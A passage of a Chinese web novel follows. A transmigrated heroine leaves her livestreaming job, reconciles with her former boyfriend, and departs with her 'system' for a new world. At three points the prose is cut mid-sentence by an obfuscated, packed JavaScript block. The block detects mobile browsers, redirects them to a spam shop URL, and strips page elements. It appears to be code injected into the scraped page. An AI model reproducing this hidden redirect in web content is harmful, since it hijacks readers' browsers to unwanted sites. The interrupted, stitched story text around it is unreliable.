小幅度晃晃头,让自己清醒,林呓预想了下未来,打开购物软件挑选了一个质量很好的头盔下单。 隔天。 林呓拜托赵玲在七点半之后帮自己助播一段时间,她好去医院体检。 给赵玲发了个大红包,她却没要,只说都是小事。 林呓没好坚持,体检回来时给所有主播同事和赵玲都买了盒装的精品玫瑰花茶,在赵玲那份里还悄悄塞了张五百元的商场购物卡。 小群里,女生们都在感谢林呓,个别不善言辞的就丢表情包,然后画风就逐渐演变成了表情包比赛。还是林呓发了个拼手气红包,大家才停止,一溜排刷起了“谢谢老板”“老板大气”。 后面聊得零零散散,有个女生忽然扔雷——公司要搬迁了。 【听说月底公司房租到期了,咱们要搬走?】 【邬寻闲的蛋疼吗?隔几天就出骚操作,为什么不提前通知啊!】 【真假?我才租好房子,新公司在哪,很远的话我不是白找了?[生气]】 【不知道啊,我也是听仓库打包阿姨说的。】 【有谁清楚?】 【玲姐呢,她应该知道吧。】 【哪个勇士敢去问她?】 大家都看得出来,赵玲和邬寻关系不一般,而且她是人事,专逮摸鱼讲闲话,自然没人敢拉她进群。 于是,大家一琢磨,纷纷在群里艾特业绩一姐——林呓,一个赛一个嘴甜,想让她去打听打听。 林呓不负众望,把消息带回来了。 新公司和旧公司离得不远,只隔一条街。这算好消息。 新公司还没装修好,正在赶进度,大概下月一号结束,邬寻打算让她们无缝搬地直播。堪比塌天的坏消息。 群里炸了。 【让我们去吸甲醛???】 【一天假都不放啊,万恶的资本家!】 【不是,他懂不懂法?没有五险一金忍了,现在还不拿员工生命安全当回事?】 【我们集体请假吧,还是健康更重要。】 【我觉得行不通,资本家没有心的。】 【那怎么办,本来直播就把身体熬得够差了,要再吸几天甲醛,集体暴毙吧我们!】 【完了,我是一点希望都看不见……】 【暗杀邬寻!劁他蛋的!!】 【暗杀!!】 …… 天塌下来,也得努力活着,何况天还没塌。 距离月底还有近两周时间,姑娘们依旧按时上班,卖力直播。她们的担忧不会让邬寻凭空生出良心,不管结局是请假还是辞职,趁这段时间多挣钱才最重要。 下午下班后,林呓有时间买菜回家自己做个饭,傍晚出来散步慢跑,晚上八点准时洗漱睡觉。比起之前,生活质量提高不少。 过了几天,凌翊和朋友要去隔壁城市出差,临走前带着纸质的体检报告来见林呓。 他找了附近一家装修和口味都不错的米粉店,请她赏脸吃个晚饭。 林呓看着菜单犹豫许久,最终遵从自己的意愿点了麻辣牛肉米粉。她本身无辣不欢,原主却不太能吃辣。 凌翊果然注意到了:“你什么时候这么能吃辣了。” 果然瞒不过去。 林呓微微耸肩,没什么兴致地说:“今天一时兴起,想挑战一下呗。只有今天哦,下次就不会了,所以你以后想讨好我还是买甜食吧。” 凌翊看了她一会儿:“口味是会变的,需要发掘,以后每样都买点,你不吃就丢给我。” 林呓有点感动,面上却不显,傲娇如常:“花言巧语。” 凌翊轻笑一声,也不辩解,拿出了体检报告,移到她面前。 林呓随手拿起,囫囵扫一眼,走个流程。因为拿膝盖想也知道,作者不会让他是根烂黄瓜的。 看着看着,林呓发现他身体倍儿棒,就连血常规那么多项目都每一项全在正常值范围里。 她又仔细看了一遍,瞠目结舌:“不是……你是地球人吗,你也熬夜也吃外卖,怎么你这么健康?” 林呓点开体检医院的公众号,把自己的体检报告截图发给他。 她平时注意养生,但血常规里也有几项数值偏高或偏低,真的有人能健康到凌翊这种程度? 不过他身体健康当然是好事啦,比起这个林呓注意到:“我刚刚才反应过来,你直接截图给我不就好了,干嘛还跑一趟。” 凌翊用手背抵唇,似乎在遮掩紧张:“觉得递交纸质版给法官显得我更真诚,也更有仪式感。” 林呓挑起一边的眉毛,想想似乎是更正式一点,点了点头。 服务员把他们的餐端上来了。 凌翊去消毒柜里取了两份餐具,其中一份递给她,又抽了两张餐巾纸放她手边。 粉汤滚烫,两人捞起粉在空中上上下下,白色的热气在他们之间升腾,有朦胧之意。 “我检讨,其实我怀疑过你是不是装醉,醒了会赖皮说不记得。“凌翊放下筷子,垂眸抱手,“是我小人心态了,大人见谅。” “……” “大人”林呓一滞,差点没吃上米粉就噎住了,清了清嗓子:“我原谅你了。” 其实,在知道俩人的亲密关系前,她的确是这样打算的。 抱一抱,不小心再亲一口,撩完就跑,第二天醒了擦擦嘴说“哎呀我喝多了,什么都不记得了呢”。 或许是心虚,林呓看见凌翊对她笑,都觉得是只大尾巴狼抓了她的把柄藏着坏呢。 眼不见心静,她低下头专心嗦粉。 喝光碗里的汤,林呓摸了摸滚圆的肚皮,舔舔嘴唇,像只餍足的猫儿。 这样的场景可爱温馨,让人心中生出无限的幸福感,凌翊看着,觉得这些天的疲惫一扫而空,身体和精神都充满了电。 等林呓休息好,凌翊付了钱,自觉拎包,两人慢慢悠悠,一路消食散步回去。 走到单元楼楼下,两人同时一顿,相对而立。 林呓主动抱住他,在他耳边说:“一路顺风。等你回来有惊喜。” 凌翊怔住,反应过来,立刻抬起手回抱她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464776|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我很期待。” 尽管他控制了力度,林呓依然一丝不漏地感受到了他的喜悦和激动,也目睹了他耳朵变红的全过程。 林呓弯起唇角,松开了他:“好了,我回去了。希望下次见面,你能有个正儿八经的名分。” 凌翊开心得有些飘忽,抿唇笑:“希望下次见面,你能给我个正儿八经的名分。” - 距离这月结束还有两天。林呓拜托赵玲询问邬寻近日是否会来公司,得到了否定的答复。 林呓直接给他发消息:“我想明白了,希望公司面谈。” 没等到第二天,下午邬寻就来了公司。 他今天穿的休闲服,身上混杂着香水味和烟酒味。他摇头一甩,把脑门中间的几根头发甩到后面,朝林呓一招手,喊她去办公室。 林呓手指在口袋里按了一下,开启录音留作后手,先进了办公室。邬寻紧随其后,关紧了门。 赵玲不放心,偷偷贴着墙听门缝。 邬寻满面春风,志在必得,脚步虚浮地绕过办公桌大剌剌往椅子上一靠,点了根烟,口吐烟雾地凝视林呓。 林呓不卑不亢地在他对面坐下,表明来意:“30天之前我提交了书面辞职报告,离职手续表什么时候给到我。” 在林呓替代原主之前,这一步就已经迈出去了。 邬寻当场愣住,吞进去一口烟,呛得剧烈咳嗽起来:“什么!咳咳……你、你说你想明白了就是这个?” 林呓皱眉,用手扇了扇,掩住口鼻:“不然呢。” 邬寻把烟头往桌上重重一扔,瞪眼气急:“我不同意。你交给我的时候我就说了,我不同意!” 开什么玩笑?她的业绩断层第一啊,这小一年给他多赚了多少钱,怎么可能放这颗摇钱树走? 林呓从包里拿出一沓纸,摔他面前:“五险一金,消防。这些证据我还有备份。” 霎时,邬寻的气焰熄灭大半,眼睛死死盯着林呓。 林呓抱着手臂,手指一下一下敲击,气定神闲:“看你这反应,原来你懂法啊,那就不必白费口舌了。新公司我是没机会参观了,甲醛和消防问题还请老板多多上心,多关心员工的生命安全。如果可以的话,工资还是月初发放吧,压着半个月的工资实在太缺德了。” 原本邬寻心里发怵,咬牙切齿了好一会,但听她的话,似乎有得商量? 他压低声音,终于开口:“什么意思,你把这些放我面前不是要举报我,告我?” 林呓摇头。 邬寻松了一口气,眼里的警惕却没松懈:“那你是怕我不同意你辞职,故意威胁我?” 林呓依然摇头。 邬寻不理解:“那到底是因为什么?” 林呓平静道:“为了提醒你,这个社会有法可依,有章可循。在你手底下谋生的员工有小几十,我不能替她们做决定,我没有这个资格。现在打开招聘软件,80%都是招客服,销售,主播,其中不交五险一金,忽视员工生命安全的公司不在少数,甚至有的老板比你还没良心。就业环境不景气,你要是没了她们还得重新找工作,重新适应新环境新岗位,至少她们在这里,努力工作能得到正比的金钱回报。” 邬寻听完,安静了片刻,更不理解了:“你自己也知道就业难,那为什么还要辞职?是提成不满意吗,我可以给你加啊,你想要多少报个数?” 林呓淡淡勾唇,只说:“我乐意辞职。” 一股巨大的无力感像蘑菇云包裹住邬寻,他双眼失神地看着她,无话可说。 林呓起身,目光点在那一沓纸上:“这份就留给你吧,你要是有心可以照着上面改。新公司的话,还是请一个专业除甲醛的队伍,加工几天,这样对你的损失最小。” 邬寻面色如菜,毫无反应,也不知听没听进去。 林呓手心一片濡湿,不动声色地擦在衣服上,从容地往门口走。所幸她眼光毒辣,看准邬寻是个有心没胆的怂包。 门缝里有人影一闪而过,凌乱的鞋跟踩地声远去。 林呓脚步忽地顿住,回头看邬寻:“原谅我有点好奇,玲姐……真的是你小姨子?” 邬寻听愣了:“不是,我未婚啊。” 林呓诧异地挑起眉:“未婚?” 明显是不相信。 邬寻嘴唇蠕动了会:“我和前妻离婚了,目前单身。” “单身?” 邬寻神情窘迫,有种被戳破的尴尬。 他也很纳闷,这个林呓怎么这么有压迫感啊,比他这个老板还像老板,当初就不该对她动歪脑筋…… 邬寻绝望地闭上眼,甚至有点哆嗦:“我觉得办公室恋情很刺激……就喜欢这种偷偷摸摸的感觉,所以和玲儿约好不说……” “打住,”林呓打断他,揉了揉额眉,“你俩自由恋爱,别祸害别人就行。” …… 半小时后,办公室门大敞着,路过偷瞟的员工都看见,往日威风八面的老板,脸上一左一右一个鲜红的巴掌印,瘫在椅子上像根蔫黄瓜。 8. 谈恋爱不如当老板(八) 【没想到老板居然给我们放假!他转性了吗?而且还请了专业去除甲醛的工人!不用当人体空气净化器了!】 【我要被泼天的幸福砸晕了哈哈。】 【放假这几天我一定不熬夜早点睡觉!】 【我要出去玩!】 【睡吧玩吧,假期结束又是一身班味儿。】 【我刚洗澡洗头,一身香味,班味别想染指我!】 【我怎么听玲姐说放假后林呓就不来啦?】 【啊?辞职,还是被辞退?】 【不可能辞退吧,老板可是拿林呓姐当宝贝呢。】 【@林呓】 【@林呓】 …… 林呓放下一堆快递,瘫坐在客厅地毯上,累得气喘吁吁。手机在口袋里嗡嗡直响,解锁点进不断弹跳的信息框,看见大家都在艾特她。 翻上去简单看了眼她们的聊天,林呓撩开头发,手背抹去额头上的汗,回复道: 【确实是辞职了,单纯因为职业规划发生了改变。新地图不能陪大家一起走了,祝愿各位一切顺利,一夜暴富!如果不能一夜暴富,两夜也行,三更半夜我猜你们也能接受[憨笑][憨笑]】 【这些是我总结的所有话术,权当参考啦[截图][截图]】 小群里的姐妹被这突如其来的分别弄得无措又不舍,纷纷送上祝福和感谢,夏浮声和郭珊这俩新旧搭档更是私聊写了几段小作文,林呓一一回复,表示谢意。 放下手机,林呓拆起了快递。补光灯,反光板,手机支架,还有一些化妆品和衣服配饰。 这就是原主在交递辞职报告前想好的职业方向——自媒体。 自媒体这份职业的幸存者偏差现象比一般职业还要明显,她选择它是经过深思熟虑的,不仅因为这份职业具有较高的自由性,更重要的是她有兴趣。 在任何领域里,兴趣都是最好的兴奋剂。 拆完快递,林呓打开了“阔别已久”的衣柜。之前上班直播只能穿样衣,没机会也没心情捯饬,现在辞职了,尘封在衣柜里的衣服终于有了用武之地。 红色吊带连衣裙,白色薄针织披肩,猫眼墨镜,黑色小皮鞋。几乎没有思考,林呓很快就搭配好了一身。 对着镜子转了几圈,林呓看着那张素淡的脸庞,脑海里已经想好要化一个怎样的妆容了。 - 下午四点,金黄色的柔和阳光铺在白色地砖上,一道修长曼妙的影子静静躺在那里。 “双零”店里店外已经完全装修好了,风格简约,色调以米白为主,浅灰浅绿作为点缀。 店里很安静,萦绕着淡淡熏香,似乎没人在。 林呓走进去,绕过上次她坐过的沙发,看见了一墙之后的凌翊,他正在专心致志地……数面条? 他神情认真专注,连林呓走路的声音都没听见。 林呓将墨镜上移,划过额头卡在发顶,抱手观看这场默剧。 桌上有一碗一碟,碗里放的应该是冷水,面条泡在水里不会糊在一块。碟就摆在凌翊面前,他从冷水碗里挑出长短相近,粗细均匀的面条,挂在立起的手掌上,就像在挑选作战的士兵一样有着严格的标准。 等挂满了一手掌,他用另一只手的食指慢慢穿过面条,抽出手掌缓缓绕起面条尾巴,两只手就这样交替使用,几个回合后面条被有条不紊地盘在了碟子里。 凌翊屏着呼吸,小心翼翼地挪开手,生怕破坏了面条的造型和完整。做完一切,他长吁一声气,手肘撑着桌沿,抬起酸涩的脖颈活动。 掀起的眼皮浮出一道轻微的褶,等候多时的林呓被发现了。 像是进度条一下滑到底,凌翊的眼瞳刹那间亮了,他滑稽地举着手站起来:“你来啦。” “你终于发现我了。” 林呓抬手摘下墨镜,勾在手指上,走过去。 凌翊抱歉地笑笑:“刚刚太投入了。你先坐,我洗个手。” 林呓抽开椅子坐下,挺直上身端详凌翊新鲜出炉的作品。 摆得一丝不苟,是挺漂亮,但总不能是用来吃的吧? 凌翊擦干手,坐回原位,看出了她的疑惑,解释道:“拍广告用的。甲方说想多看几种造型,筷子捞的、手工摆的,加葱不加葱、加菜不加菜的,拍好了他们自己选。” 林呓新奇地挑了挑眉尾,比起大拇指:“你比以前有耐心多了,这种活可真不是什么人都能干的。” 凌翊只是笑笑。 “是到下班的点了。”他拿起手机看了眼时间,“你今天特地来找我,是有什么重要的事吗?” 他问得矜持,亮晶晶的眼睛里却没藏住期待和紧张。 ——一个正儿八经的身份,林呓知道他在期待这个。 她勾起嘴角,绕开话题:“店里只有你一个人在?” 凌翊将碗碟移到一旁:“是啊,有一个合伙人还没交接好辞职事项,得跟完最后一个项目才能来。上次跟我一起出差的朋友在家修改图片,等我摆好了面条造型叫他来拍摄。” 林呓点点头,随意环望四周:“感觉你们店里挺清净。” 凌翊苦笑着摇头:“清净说明没名气,巴不得闹腾点呢,但毕竟刚开业不久,生意不是很多。” 顺着他的话,林呓双手交叠垫在下巴,笑眯眯地说:“那,我来做你的甲方吧。” ——“我辞职了。” 凌翊怔怔地望着她,先是有些不信,可她神色从容坦然,不像是在开玩笑。他敛色微笑:“恭喜,你一定是找到了自己更喜欢做的事情。” 林呓手指转着墨镜:“你可以猜猜是什么。” 凌翊想了一会儿:“短视频自媒体这方面吗?” 林呓停了墨镜,扬眉打了个响指,“答对了。”继而语气严肃,“跟我道歉。” 凌翊没有迟疑,老老实实:“对不起。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464777|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林呓没想到他这么干脆,乐了:“你知道什么原因吗你就道歉。” 凌翊嘴角弯起片刻就压下去:“我知道,和我们大三时候的那件事有关系。” 大学时,林呓注册过一个短视频账号,随手发的两条对镜拍视频火了,加起来有一百多万点赞。评论区里许多女孩子变着花样夸她,林呓觉得她们搞怪又真诚的夸奖和鼓励比视频还有看头。 除了评论区,她的私信也变成了99+,有商家询问合作意向的,有MCN自我介绍问要不要签约公司的。林呓全都礼貌谢绝。 正常的私信只占一小部分,剩下一大半全是恶臭男。 “约吗?好巧,我们同城哎。” “妹妹真美,有对象吗?给哥哥看看。” 诸如此类。 约你爹。 看你爷。 林呓没放心上也没搭理,因为这种货色给他个眼神他都觉得你在勾引她,骂回去都怕他M属性爆发大喊“爽死老子了”。 过了一段时间,凌翊来学校找她,偶然间看见了那些脏人脏话,直接冷脸冷暴力,还对她阴阳怪气。 林呓觉得无厘头,她又没做什么,搞得好像她出轨了一样。 或许男生天生就比女生晚熟,那时候凌翊真的很幼稚,他倒也不是真的怀疑林呓,但就是瞎吃醋,不找点存在感不痛快。在这段感情中,林呓总是妥协忍让的一方,那次也一样,两个人冷战了几天,到底还是林呓再一次先低下了头——她注销了账号。 人生就像一本书,每件经历过的事都会在对应的页数留下印记,可以翻篇,但不会消失。好比你在书上好好写着字,有人碰到你的手,笔在书上划出一条又长又丑的痕迹,无意或有意,道歉或不道歉,遮掩或不遮掩,这条痕迹都会永远存在于记忆里。 这件事为两人的分开又埋下了一颗雷,然而最终导致分手的原因是,凌翊自信过了头。 毕业前,两人聊到职业规划,凌翊的话让林呓大吃一惊。他认为,毕业了一定能无缝找到工作,三个月后工资过万,只靠自己就能两年买车五年买房。他对未来理所当然的畅想让林呓醍醐灌顶——他简直像个大龄儿童。 上学时父母给生活费,不需要他操心钱,感情上自己对他宽容甚至是纵容,他有恃无恐作天作地。他从小到大顺风顺水,遇见过最大的挫折大概就是某个学年没拿到奖学金,某个比赛没得奖。 林呓看着他高谈阔论,感觉自己真正冷静下来开始思考未来这两个字。她自己的未来,以及他们的未来。 七年的感情、时间、金钱,这些巨大而宝贵的沉默成本在拖拽她。经过无数次自我对话和思考,林呓最终说出了分手。 …… 林呓从呓语的旁白里跳出,看着凌翊:“我也要对你道歉,我说你幼稚,我自己又何尝不是,我只敢在手机上说分手,一声不响地拉黑了你,逃避见你,还把你一个人丢在学校外面。对不起。” 9. 谈恋爱不如当老板(九) 女人的口吻不似平时玩笑,她很认真。 大概是直播会开美颜的缘故,她之前都是淡妆,有时只打个底,而今天她打扮精致,与平时随性的气质不同,让人眼前一亮,哪怕凌翊经验丰富,哄甲方的话信手拈来,此时也找不出准确的词语来形容。 凌翊双手交叠,按压着指节,对林呓的道歉感到无所适从。 刚分手时,他是埋怨林呓的,觉得这女人可真狠心,说分手就分手,拉黑消失半点念想都不留给他。他以为自己会买醉、颓废,甚至去宿舍楼下堵她,可都没有,他回了学校,麻木地完成实习和论文,答辩后找工作。 转折点就出现在这里。 原来工作这么难找,好的工作轮不到他,差的他又看不上,这种不上不下吊着一口气梗在嗓子眼的感觉最让人难受。家里知道情况后明里暗里说可以找关系进熟人的公司,凌翊这时才明白,林呓为什么总是说他幼稚了。 他不甘心,海投简历,也有几家大厂约了面试,但距离、待遇总有不合心意的地方。最后说来好笑,他毕业后第一份工作竟然是在老师的朋友圈里找的,这位老师曾经教过他专业课,在校外有一家工作室,凌翊也去参观过,环境熟悉、待遇优良,而且老师能力出众资源广泛,不失为一个好选择。 从学校初入社会的过程犹如裸奔,生怕别人看见来问你,别人都有衣服了怎么就你还不找衣服穿啊? 工作就是衣服,面试就像在试衣间里试衣服,衣服审视你能不能撑得起,你也在考量衣服够不够称心,从试衣间出来,你也许暂时有衣蔽体,也许抱紧自己寻找下一个试衣间。凌翊穿上了外人看来得体的衣服,至于衣服合不合身,有多合身,只有他自己知道。 林呓伸手在他面前晃晃,打了个响指:“喂,回神了。” 凌翊从回忆里抽离出来,眼神聚焦看着她,轻轻嗯了一声。 “你先忙吧,等你朋友来拍摄的时候我们再细聊。”林呓走到外面沙发坐下,把空间让给他。 林呓从包里拿出一个笔记本,本子侧面卷皱痕迹明显,翻开看,每页正面都详细地写着拍摄灵感,背面画出预想的造型、打光方向,和一些可能会用到的工具。她想法很多,每一页都标明了日期,可以追溯到她刚刚入职的时间,到上个月她已经写完一整本了。 她心仪的是短视频颜值赛道其中的变装,她喜欢那种让人眼前一亮的感觉,不仅有成就感而且容易被人记住。看起来容易,真正做起来却很难,她对自己的长相、化妆技术、审美等方面都有自信,也有很多创意想法,但观众是否买账却是一个玄学的难题。这就是她来找凌翊的原因,凌翊了解新媒体市场,对客户和受众需求有敏锐的洞察,能帮助她捕捉热点和粉丝心理,两个人的力量总要大于一个人,多个视角不是坏事。 外面日光渐渐西斜,不知不觉林呓已经对着本子里的笔记看了许久,抬头放松眼睛时一个年纪与凌翊相仿的男人正走进来,他看见林呓眼里划过一抹亮色,随即询问:“你好女士,请问需要什么服务吗?” 林呓微笑着起身,还没开口就被人截了胡,凌翊整理袖口从后面走出来:“她是我的客户,我来服务就好。造型摆好了,你可以开始拍摄了,对方的要求已经发你了。” 男人眨巴两下眼睛,“啊?哦哦,你们聊,你们聊。”两人错身之际,凌翊偏头对他说:“你带看着点店,我出去一趟。” 餐厅里。 安静的一角,林呓和凌翊面对而坐,餐还未上。 林呓将笔记本递给他:“喏,这是我的一些想法,你帮我参谋参谋,提提意见。” 凌翊接过翻阅,被她的创意惊艳了一次又一次,要知道现在的短视频跟风很严重,通常是一个火了千百个蹭热度拍同款,很难有新意,久而久之观众也审美疲劳了。而林呓的笔记里,不仅有妆造的创新,更有拍摄手法的创新,该用什么道具、该摆什么表情眼神,甚至连用自然光还是室内光都标注得一清二楚。客观来说,凭林呓的身材样貌,不管在哪个赛道,短时间内都能吸引到不少粉丝,而她对待变装这件事很认真,说明她不仅有实力更有野心,她的目标绝对不止十万或百万粉丝这么简单。 思及此,凌翊合上笔记本,认真看着她,再一次道歉:“对不起,是我耽误了你,如果那个账号还在,你现在一定是千万级别的博主了。你的想法很成熟,堪称完美,我暂时没有更好的建议。” 林呓背靠着椅子,姿态很放松,抬起下巴哼了一声,“现在也不晚,如果你实在愧疚的话,就好好辅佐我吧。至于价格,你可以和你的朋友们商量之后再告诉我。” 凌翊表情空白一瞬,“价格?不用,这是我应该弥补你的。” 服务员将餐端上来了。 林呓抿了口橙汁,一边抬眼瞥他,“别多想,我只是想体验一把当甲方的感觉,你收了钱我才好使唤你啊。” “那,听你的。”凌翊随和地说。 “所以——”林呓拌了拌碗里的热干面,调笑道,“你对这个正儿八经的新身份满意吗?” 迎着她戏谑的眼神,凌翊的表情有些许无奈和自嘲,点点头又摇头:“正如你所说,的确是一份惊喜,虽然和我的预期有些出入,但也在情理之中。” 林呓把真诚写在脸上,正色道:“可起码你现在不是死缠烂打的前男友了。” 凌翊的眼神热起来,期待地问:“那我是——” “现在啊,我是难缠的甲方,你是什么你自己看着办喽。”林呓耸肩,努了努嘴唇。 不必挑明,点到即止,两道默契的视线深深浅浅地交汇,凌翊最先败下阵来,耳根发烫,低头笑起来。 - “你还没好吗?”林呓挑拣着衣服,对着床上开外发的手机说,“对方这么难搞啊?” 凌翊的呼吸有些重,嗓音低浊,“这是笔大单子,我们的价格和质量对方都很满意,已经商量好明天敲定合同了,不陪着喝一点说不过去。” “要不今天算了,你应酬完就回去休息吧,也不在乎这一晚。” “我没喝多,说好了今天帮你打光拍视频的。马上快结束了,你先做做准备,我收拾好就过去。” “好吧,那你慢点,注意安全。” 林呓挂了电话,继续搭配衣服和道具。 这些天她在养账号,没有发布作品,也在调作息做运动,尽量把状态调整到最好。陆陆续续她也顺带拍了一些视频找手感,今天要拍的这条变装对光的要求很高,需要尽量保证变装前后的光线变化统一,以确保剪辑出来的视频连贯丝滑,所以她找凌翊来帮忙。 搞定了衣服、配饰和道具,林呓去卫生间洗脸准备化妆,妆容不难,但要服帖细腻,为了防止出错重来,她化得很慢。 定好妆刚画完眉毛,门铃响了。 凌翊的消息同步发来:“是我。” 林呓打开门,凌翊穿着一身宽松的休闲服站在门前,面色潮润,眼皮微微耷着。 “这么快?你……洗了澡过来的?”林呓把他拉进来,闻到了一股清香味,仔细一看,他的头发还是湿的。 凌翊任由她拉着自己,点了点头:“一身酒气,难闻。” 他走路晃晃悠悠,像牵着头醉驴。林呓带他到沙发坐下,拿出一条新毛巾和吹风机放他面前,又把放凉的蜂蜜水端来。 “你可真行,刚喝酒就洗澡。头发吹干,把水喝了。” 凌翊捏了捏眉心,笑着说:“我没喝醉,没事儿。你去忙吧,不用管我,好了叫我就行。” 他端起水杯,仰头喝了一半,嘴巴鼓鼓的看着她,好像在说:看,我还能喝水,没醉吧? 林呓捏住他的脸,左右看看:“醉了的样子倒是比平时顺眼。”像只顺毛的小狗。 凌翊眼圈泛红,眼神像染了酒味儿炽热,一副任君采撷的模样。 林呓讪讪移开视线,松了手。 …… 林呓卷好头发,在头顶盘好假花,来到客厅想展示一番,发现凌翊已经靠在沙发阖上眼睡着了,挂钟的时针不偏不倚落在数字12上。 原来弄了一个多小时,兴冲冲忙起来真没感受到时间的流逝。 关掉顶灯,林呓打开沙发旁的落地灯,调成微亮的暖光。 凌翊半张脸露在光里,鼻梁和眼睫在另一边侧脸落下阴影,他睡着的样子意外的乖,呼吸绵长。秒针滴答滴答的走声充当哄睡的白噪音,林呓却没有睡意,坐在沙发另一端安静注视着他。 忽然,凌翊的胸口没有起伏了,时针也停止了转动。 林呓眼皮一跳,感觉到什么,立即回身看去——空中漂着一个发光点。 “哟,这不是我的系统吗?出差回来了?”林呓勾唇,模样不好惹地交叠双臂,翘着腿看着那个光点。 001飘下来,像是在放低姿态,到她面前汇报:“公司事务繁忙,人手不够,我被临时调走了。” “作者已经找回状态恢复更新了,后续剧情她安排顾苑和徐叶出来作推进主角感情的工具人,女主在事业高峰期会迎来一场网暴陷入消沉,男主的鼓励和陪伴给了她力量,最终她看淡网络回归本心。男主的事业也蒸蒸日上,他们携手共进,最终顶峰相见。” 001落在她手背上,讨好地闪了两下,“这个世界的重构已经完成,我们可以出发下个世界了。” 林呓拂开它,起身回卧室,从床底下抽出一个快递箱子,“我觉得他们在追逐梦想的过程中,应该是相互鼓励强强联手的模式,关于两个人的高光作者不会厚此薄彼吧?” “我会提醒作者的。”空中悬浮的圆点似乎比之前变大了一些,身上的红光也变淡,显得更加柔和,“对了,还有一件事,你之前说凌翊是你的调剂品,调剂品该怎么解读?” 林呓正欲回答,表情却一瞬间变得茫然,半晌摇了摇头:“我突然想不起来了……就告诉作者这只是误会吧,让她不用在意。” 001:“好的……这是头盔?你是打算戴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464778|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 林呓拆下头上的假花,戴上头盔扣好安全扣,如临大敌的模样:“上一个投胎者不是头顶天花板出去的么,我怕我也有这么一天,所以提前买了一个质量超好的头盔以防万一。”说着,她握拳在头盔上邦邦敲了几下,这厚重的声音听起来就很有安全感。 “……” 眼前忽地闪过白光,待视线恢复正常时,面前是一条长长的走廊,一眼望不到尽头。 林呓回过头,沙发和凌翊都不见了。 她已经离开了。 “应该提前和你打个招呼的。”001有些歉意地说,它急于证明她和别人的待遇不同,却忽略了她的意愿。 林呓收回视线,摸上脑袋,空空如也,头盔消失了。她下意识低头看向胸前,发现衣服也变了,变成了深蓝色的连体紧身衣,关节处还有荧光的条纹,透着一股机械感。 林呓摇摇头,告诉它不用在意:“走吧,下个世界。” 001在前面飘着带路,好像要带她去某个地方。它主动提起:“你在那里停留了35天,累计工资35亿,是个不错的开始。这个世界是新手副本,之后的世界会变得危险。” 林呓配合地发问:“后面的小说世界观很凶残?” 001:“可以这么理解。我很想安慰你把这当作一场能够读档重来的游戏,但相信你在第一世界里已经有所体会了,在那些世界里,一切感受都和现实相同,包括死亡。” 它严肃的语气让林呓不得不重视起来,她点点头:“我知道了。你之前说的不可思议的目标?我完成多少了?” 001顿了两秒,似乎是在考虑怎样说比较委婉,“……如果将你所完成的份额比作一滴水,那么——” 林呓很有觉悟地接过话,做好了最坏的打算:“那么目标就是一片湖泊?” “是一片海。” 001怕她被打击得没信心,急忙安慰她:“不是那种汪洋大海,比较小一点的。” “……谢谢你啊。”林呓嘴角抽了抽。 “之后的世界里,你可以多创造劲爆刺激的高光时刻,这样有助于完成目标,多多益善。”001建议道。 林呓微妙地看它一眼,思考起“劲爆”和“刺激”的含义。 周围很安静,001飘着是没有声音的,只有林呓走路的脚步声。她在脑海里详尽例举了自己认为称得上劲爆刺激的事情,决定待会001把下个世界的背景告诉她时提前做好计划。 林呓正将脑海里的画面简单分类,忽地听见001问:“根据数据检测,你对亲情的看重程度远高于生活安定,我很好奇你为什么一次都没有联系过那个世界的父母?” “因为我是假的。” “什么?”001发出了疑问。 “其他人或许可以瞒过去,可他们是从小到大朝夕相伴的亲人,我只跑过龙套,没那么优秀的演技骗过他们,何况应对一个凌翊就已经很累了。” “可我不是说过,小瑕疵会帮你屏蔽吗。” 林呓停了下来,神色前所未有的冷酷。 “你的问题怎么比我还多?” “我不愿意,这个回答你满意了吗。” 001察觉到她的反感,身上的光芒暗淡下去,似乎是在努力降低存在感。 走廊的尽头汇聚成一个遥不可及的白点,左右两边的墙壁上贴着海报和类似口号的字眼,这种宣传方式很常见,但内容却让人感到诡异。 【人生有风险,投胎须谨慎。】 【投胎是一门玄学,更是一门艺术。】 【人们认为,定制一场梦,比开启新人生要简单得多。】 【就像是一场梦,一辈子很快就过去了。祝愿你醒来后不再做梦。】 【该醒来了。】 …… 每隔一段固定的距离,便有一句话,这些话围绕“投胎”和“做梦”,有些像警告,有些像引诱,有些像是想唤醒正在做梦的人。 林呓在一扇窗前停住,眺望远处,只看见白茫茫一片雾,这栋大楼似乎高耸入云,或是,深不见底。 林呓看着面前的苍茫,不由得伸手触碰,却只摸到冰凉的玻璃。她微微垂眼看着与玻璃贴合的手掌,良久收回了手,平静地注视001:“你问了我那么多问题,礼尚往来你也回答我一个,但如果不能说实话的话,就不必了。” “你说。” 